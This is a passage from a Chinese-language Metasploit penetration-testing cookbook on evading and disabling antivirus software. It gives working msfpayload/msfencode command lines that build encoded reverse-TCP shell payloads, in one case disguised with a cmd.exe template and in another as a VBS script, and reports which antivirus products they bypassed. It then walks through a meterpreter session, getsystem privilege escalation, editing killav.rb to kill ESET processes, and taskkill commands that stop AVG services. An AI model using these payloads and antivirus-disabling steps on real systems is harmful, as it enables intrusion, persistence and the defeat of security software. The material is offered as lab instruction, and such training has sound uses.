cmd/generic_sh good Generic Shell Variable Substitution Command Encoder

cmd/ifs low Generic ${IFS} Substitution Command Encoder

cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder

generic/none normal The "none" Encoder

mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 great PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder

ppc/longxor_tag normal PPC LongXOR Encoder

sparc/longxor_tag normal SPARC DWORD XOR Encoder

x64/xor normal XOR Encoder

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder

x86/avoid_utf8_tolower manual Avoid UTF8/tolower

x86/call4_dword_xor normal Call+4 Dword XOR Encoder

x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder

x86/context_stat manual stat(2)-based Context Keyed

Payload Encoder

x86/context_time manual time(2)-based Context Keyed Payload Encoder

x86/countdown normal Single-byte XOR Countdown Encoder

x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder

x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder

x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder

x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder

x86/single_static_bit manual Single Static Bit

x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

框架中包含大量不同的编码器,每种编码器都使用了不同的技术来混淆shellcode,例如shikata_ga_nai编码技术实现的就是一种多态XOR附加反馈式编码器,其解码器是根据动态指令替代和动态块排序生成的,寄存器也是动态选定的。

怎样实现

本节从内容上是按照3个案例的形式组织的,以便更好地理解怎样深入挖掘这一工具,并应用到自己的实践中。

案例1:首先编码一个简单的shell,此时msfpayload与msfencode在同一个管道中使用。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R |

msfencode -e cmd/generic_sh -c2-t exe > .local/encoded.exe

[*] cmd/generic_sh succeeded with size 290 (iteration=1)

[*] cmd/generic_sh succeeded with size 290 (iteration=2)

下面对该命令行进行分析。使用的shellcode是windows/shell/reverse_tcp,R参数表示要生成raw文件类型。通过管道技术使用msfencode命令,-e参数用于指定编码类型,本案例中是cmd/generic_sh,-c参数表示要迭代的次数,-t参数表示编码后要创建的文件类型。最后生成的文件保存在.local文件夹中,名为encoded.exe。使用该文件对两台目标机器进行客户端攻击,结果很容易地同时被Windows XP(运行AVG 10)和Windows 7(运行NOD32)检测为威胁。该程序运行后可能已经生成了到攻击方机器的shell连接,但这一连接行为被防病毒软件拦截。

案例 2:增加编码的复杂性,为 shellcode添加一个默认的Windows exe模板,并增加编码时的迭代次数。默认的模板可以将shellcode绑定到默认的Windows可执行程序中,例如 calc.exe 或 cmd.exe,从而有助于创建更可信的文件。默认的 Windows 模板可在文件夹/opt/framework3/msf3/lib/msf/util/../../../data/templates中找到。

用户可以将默认的Windows可执行程序复制到上面的文件夹中,从而创建模板。在本节中,将cmd.exe复制到这一文件夹中,并将其用作shellcode的模板,那么此时的命令行是什么样的形式呢?

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101

R | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe> .local/ cmdencoded.

exe

本案例中出现的新参数-x用于指定可替代的可执行程序模板。使用cmd.exe作为模板,该 exe 是 Windows 中用于启动命令行提示符的默认可执行程序,编码类型变更为shikata_ga_nai,该编码类型在msfencode.中标记为“Excellent”,迭代次数增加为20次。本案例中创建的可执行程序与cmd.exe很类似(因为是以其作为模板创建),并可以很容易地避过Windows XP目标机器上的AVG 10防病毒软件检测,然而,Windows 7目标机器上运行的、升级到最新的NOD32仍然将其判定为威胁,因此这种技术适合于规避运行在Windows机器上的旧版本的防病毒软件。第二个问题是,这种技术无法在Windows 7/Server 2008机器上启动shell连接,即便其上安装的是旧版本的防病毒软件。Shellcode在执行时会发生崩溃(由于模板的缘故),即便可以规避防病毒软件,在更新版本的Windows机器上也不能启动shell连接。

案例3:本案例中将解决案例2中遇到的问题。本例要生成的是客户端脚本,而非可执行程序。Windows 平台中有一种众所周知的 vbs 脚本,这种脚本技术可用于规避最新Windows平台上任何已知的升级到最新的防病毒软件。VBS脚本之所以成为规避防病毒软件的潜在武器,是因为防病毒软件从未将其视为威胁,因此签名特征数据库不会与VBS脚本产生匹配。下面利用msfpayload和msfencode创建恶意的VBS脚本。

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 r |

msfencode -e x86/shikata_ga_nai -c 20 -t vbs > .local/cmdtest2.vbs

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

.

.

.

.

[*] x86/shikata_ga_nai succeeded with size 803 (iteration=19)

[*] x86/shikata_ga_nai succeeded with size 830 (iteration=20)

要注意上面命令行中的细微变化,唯一的改变是 exe 被替换为 VBS,没有使用任何模板,以免在客户端攻击执行时崩溃。这一技术有助于规避两台目标机器的防病毒软件保护,并提供了shell连接。还可以使用multi/handler模块(前面章节中讨论过)建立监听程序,并等待脚本执行后来自目标机器的反向连接。

本节在内容上完全是以尝试攻击载荷与编码器的各种组合为基础的,实际上,所做的这种不同组合尝试越多,获得成功的可能性就越大。此外,msfpayload 与 msfencode 中还有很多值得探索的事情,因此建议读者主动尝试各种不同的实验,找到自己规避防病毒软件保护的途径。

怎样工作

编码器主要用于将shellcode脚本混淆为防病毒软件无法识别的形式。shikata_ga_nai 编码器使用的是多态XOR技术,其中编码器使用动态生成的gats作为编码器,shikata_ga_nai被广泛采用的原因在于其使用了自解码技术,这种技术意味着软件运行时对其自身的某一部分进行解码。在理想状态下,软件只包含解密器 stub 与加密的代码。迭代也是为了进一步增强编码的复杂性,其原理是将相同操作不断地重复进行,以便使shellcode在防病毒软件中无法识别的。

更多

下面寻找一种快速途径,以便使用各种不同的防病毒软件对攻击载荷进行测试,看一看其中哪些防病毒软件可以检测出编码后的攻击载荷。

使用VirusTotal进行快速的多样化扫描

VirusTotal是一个在线网站工具,可以对待检测文件使用多个防病毒软件进行扫描,以便发现其中有哪些软件会将其检测为威胁。用户可以将自己编码后的攻击载荷提交到VirusTotal进行扫描,以便确认有哪种杀毒软件会对其产生告警信息,这也有助于确认编码后的攻击载荷是否有效。

figure_0109_0019

VirusTotal可以通过网址http://www.virustotal.com访问,该网站会要求用户上传需要使用多款防病毒产品进行扫描的文件,扫描完成后会给出测试结果。

4.8 使用killav.rb脚本禁用防病毒软件

在上一节中,我们主要介绍了可用于绕过客户端防病毒软件保护并打开活跃会话的各种技术。接下来的问题是:如果需要从目标系统中下载文件,或在其中安装键盘记录程序等,将可能引发防病毒软件告警,因此,建立了到目标系统的活跃会话之后,下一个步骤就是禁用防病毒软件。本节介绍的主要内容是,要保证攻击者活动不被目标机器检测发现,禁用防病毒软件是必要的。

在本节中,将使用一些在活跃会话中可用的 meterpreter 脚本,在后面的内容中会专门讲解meterpreter脚本,所以这里只对meterpreter脚本和命令进行简介,下一章将对meterpreter进行详细分析和讲解。

准备

首先对 meterpreter 进行简要介绍。Meterpreter 是一项高级功能,极大提高了在目标机器上执行命令的能力。Meterpreter是命令行解释器,其工作机理是内存DLL注入,并具有相对于传统命令行解释器(通常存在于shellcode中)的大量优势,更灵活、更稳定、更具扩展性,其功能和性能就像几种攻击载荷同时在目标机器上工作。Meterpreter 的通信是基于 stager socket的,并提供了广泛性的 ruby API。使用windows/ meterpreter/目录中可用的攻击载荷,可以获取 Meterpreter shell。本节中,我们要使用的攻击载荷是 windows/ meterpreter/reverse_tcp,目标机器是Windows 7,其上运行的防病毒软件是ESET NOD32。

在msfconsole 中建立监听程序并等待反向连接。

msf > use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process  yes Exit technique: seh..

LHOST 192.168.56.101 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:4444

[*] Starting the payload handler...

怎样实现

(1)监听程序准备就绪。客户端攻击在目标机器上成功执行后,将在攻击方机器的msfconsole中建立meterpreter会话。

[*] Sending stage (752128 bytes) to 192.168.56.1

[*] Meterpreter session2opened (192.168.56.101:4444 ->

192.168.56.1:49188) at 2011-11-29 13:26:55 +0530

meterpreter >

(2)执行 getuid 命令,该命令可以获取攻入目标系统时的用户名,该用户或是系统管理员,或是权限级别较低的用户。

meterpreter > getuid

Server username: DARKLORD-PC\DARKLORD

(3)从获取的用户名来看,似乎还不具备已攻入系统的管理员权限,因此下一个任务是将权限提升到管理员,以便在目标机器上执行命令时不至被终止。使用getsystem命令,该命令将尝试从普通用户提升权限到管理员。

meterpreter > getsystem

...got system (via technique 4)..

(4)从结果可以看到,getsystem命令已经成功地使用 technique 4(KiTrap0D漏洞利用代码)进行了权限提升,再次使用getuid命令,可以检查提权后的ID。

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

(5)现在已具备主管理员权限,接下来使用ps命令列出目标系统中运行的所有进程,以便确定哪些进程实际上控制着目标系统中运行的防病毒软件(下面的输出进行了一些削减以便适应需要)。

PID Name User Path

--- ---- ---- ----

1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.

1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.

1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.

1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.

1744 egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ ESET NOD32 Antivirus\egui.exe

1832 eset.exe NT AUTHORITY\SYSTEM C:\Program Files\ESET\ ESET NOD32 Antivirus\eset.exe

(6)从上面的Name和Path列中,可以很容易地识别出属于防病毒软件实例的进程。在本示例中,有两个进程负责目标系统中的防病毒功能,分别是egui.exe和eset.exe。接下来将学习怎样使用Metasploit禁止这些进程。

怎样工作

Meterpreter提供了一个非常有用的killav.rb脚本,可用于停止目标系统中运行的防病毒软件进程并将其禁用,在运行着ESET NOD32的Windows 7目标机器上尝试该脚本。

meterpreter > run killav

[*] Killing Antivirus services on the target...

Run命令用于在 meterpreter中执行 Ruby脚本,脚本执行后,可以再次对系统中运行的进程进行检查,以便确认是否所有防病毒软件进程都已经成功禁止。如果防病毒软件进程都已经不再列出,则意味着防病毒软件已经在目标机器上临时禁用,可以相对安全地开始下一步的渗透测试工作。

但如果这些进程还在怎么办?在下一节将介绍相应的解决方案。

4.9 深度解读killav.rb脚本

从上一节开始,我们主要介绍了怎样使用killav.rb脚本来禁止目标机器上运行的防病毒软件进程,但如果这些进程仍然运行或使用该脚本无法禁止该怎么办?造成这种情况有两个可能的原因,其一是killav.rb脚本的列表中没有包含这些防病毒软件进程,其二是这些防病毒软件是以服务而非进程的形式运行的。本节中,我们将尝试解决这些问题。

准备

从上一节中终止的meterpreter会话开始,假设已经使用了killav.rb脚本,但防病毒软件进程仍然在运行,使用ps命令可以看到运行中的进程。

PID Name User Path

--- ---- ---- ----

1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.

1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.

1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.

1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.

1744 egui.exe DARKLORD-PC\DARKLORD C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe

1832 eset.ece NT AUTHORITY\SYSTEM C:\Program Files\ESET\ESET NOD32 Antivirus\eset.exe

从结果可以看到,在使用了killav.rb脚本之后,两个防病毒软件进程仍然存在。接下来看一下killav.rb脚本中的具体内容。

(1)要查看和编辑 killav.rb 脚本,打开一个新的终端窗口,切换到/pentest/exploits/framework3/scripts/meterpreter目录。

root@bt: cd /pentest/exploits/framework3/scripts/meterpreter

root@bt:/pentest/exploits/framework3/scripts/meterpreter# vim killav.rb

(2)Vim 是 UNIX 中的一个快速的编辑器,将在屏幕上打开整个脚本,向下可以发现其中列出的各种进程,这些进程都是该脚本寻找并尝试禁止的进程,检查整个列表,看其中是否包括eset.exe和egui.exe,如果不包含,则在列表中添加这两个进程。要启动vim的编辑模式,需要按一下键盘上的 a 键来启动插入模式。进入这一模式后,就可以在该脚本的进程列表中添加这两个进程。

@@exec_opts.parse(args) { |opt, idx, val|

  case opt

  when "-h"

  usage

 end

}

print_status("Killing Antivirus services on the target...")

avs = %W{

 egui.exe

 eset.exe

 AAWTray.exe

 Ad-Aware.exe

 MSASCui.exe

 _avp32.exe

(3)下面的代码段表明这两个进程已经添加到该列表的顶部,若要退出插入模式,按Esc 键;若要保存脚本,按:键,此时会看到命令行提示符,键入 wq,保存修改后的脚本并退出该编辑器。

:wq

(4)回退到meterpreter会话,再次执行killav.rb脚本,注意发生哪些现象。

meterpreter > run killav.rb

[*] Killing Antivirus services on the target...

[*] Killing off egui.exe...

[*] Killing off eset.exe…

(5)输出信息表明,该脚本已成功地杀掉了这两个进程。为确认是否所有防病毒软件进程已经被禁止,再次执行ps命令进行检查(输出信息进行了削减)。

meterpretr> ps

PID Name User Path

--- ---- ---- ----

1060 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.

1096 svchost.exe NT AUTHORITY\SYSTEM C:\Windows\system32\.

1140 stacsv.exe NT AUTHORITY\SYSTEM C:\Windows\System32\.

1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Program Files\Uni.

从结果可以看到,已经不存在ESET防病毒软件的活跃进程,这表明该脚本成功地禁用所有防病毒软件。这一示例清晰地展示了怎样在脚本中添加自己的内容以提高内置脚本的效能。

怎样工作...

下面简单介绍下本节中使用的killav.rb脚本,该脚本在以数组(%W)的形式包含了一个完整的进程列表,该脚本根据该数组中包含的进程在目标机器上进行搜索并杀禁止。

client.sys.process.get_processes().each do |x|

 if (avs.index(x['name'].downcase))

   print_status("Killing off #{x['name']}...")

  client.sys.process.kill(x['pid'])

 end

end

最后的几行代码含义很清楚。该脚本根据数组中的进程名在目标系统中寻找匹配,找到后就使用 process.kill 函数禁止该进程,该循环会一直进行,直至数组中的所有元素与目标系统中可用进程匹配完毕。

4.10 从命令行中禁用防病毒软件服务

在上一节中,我们介绍了使用killav.rb脚本后防病毒软件进程仍然存在的两个问题,并解决了第一个问题,即killav.rb列表中不包括待禁止进程的情况。在本节中我们将解决第二个问题,即目标机器中防病毒软件是以服务而非进程形式运行的情况。首先来了解一下进程和服务的差别。

进程是计算机中运行的任意软件。有些进程是在计算机启动时启动的,有些是根据需要人工启动的,有些进程则是一种服务,这些服务会发布对其进行访问的方法,其他程序则根据需要使用这些方法对其进行访问。进程是基于用户的,而服务是基于系统的。

防病毒软件也可以将某些组件以服务的形式运行,例如电子邮件过滤器、Web 访问过滤器等。由于killav.rb脚本不能禁用服务,因此,即便使用该脚本禁止进程,但防病毒软件服务会立即将其再次启动,因此在这种情况下,即便使用该脚本禁止所有防病毒软件进程,但每次使用ps命令时都会发现这些进程仍然存在,并可以推断出防病毒软件的某些组件是以服务形式运行的,并负责反复重启相应进程。

准备

从这样一个场景开始:目标机器运行的是Windows 7,其上运行的是AVG 10防病毒软件,并假定已经建立了到具有管理员权限的目标机器的活跃meterpreter会话。

怎样实现

(1)本节将使用Windows命令行提示符,所以先在与目标机器的连接中打开一个命令行提示符。

meterpreter > shell

Process 3324 created.

Channel 1 created.

C:\WINDOWS\system32>

(2)使用tasklist命令寻找各种可用的任务,使用/SVC参数只列出以服务形式运行的进程。由于已经知道目标机器正在运行的是AVG防病毒软件,因此可以使用通配符搜索只列出属于avg的服务,最终使用的命令行形式如下所示。

C:\WINDOWS\system32>tasklist /SVC | find /I "avg"

tasklist /SVC | find /I "avg"

avgchsvx.exe 260 N/A

avgrsx.exe 264 N/A

avgcsrvx.exe 616 N/A

AVGIDSAgent.exe 1664 AVGIDSAgent

avgwdsvc.exe 116 avg9wd

avgemc.exe 1728 avg9emc

这样我们就可以得到AVG防病毒软件的完整的列表或服务和程序。接下来运行结束任务进程命令禁用任务并阻止防病毒软件防护。

(3)再次使用通配符搜索禁止以avg作为进程名的任务。

C:\WINDOWS\system32>taskkill /F /IM "avg*"

结果中的/F 参数用于强制禁止进程。上面的命令将最终禁用目标机器上运行的各种防病毒软件服务。本节内容还有很多需要探索的领域,用户可能会遇到一些问题,但通过使用正确的命令都可以解决。

怎样工作...

调用禁用特定服务的系统从命令行中禁用服务。建立到目标机器的活跃shell会话,可以通过shell以命令的形式执行这些调用。

更多...

结果防病毒软件服务仍然存在该怎样呢?

有些服务无法禁用—该怎么做?

可能有几种原因。针对某些服务使用taskkill命令有时会报错,要解决这一问题,可以尝试使用 net stop命令与 sc config命令。建议读者在微软的web网站中阅读这两条命令的相关内容,以便对其用法有更好的理解。这两条命令有助于禁止或禁用那些使用taskkill命令无法有效处理的服务。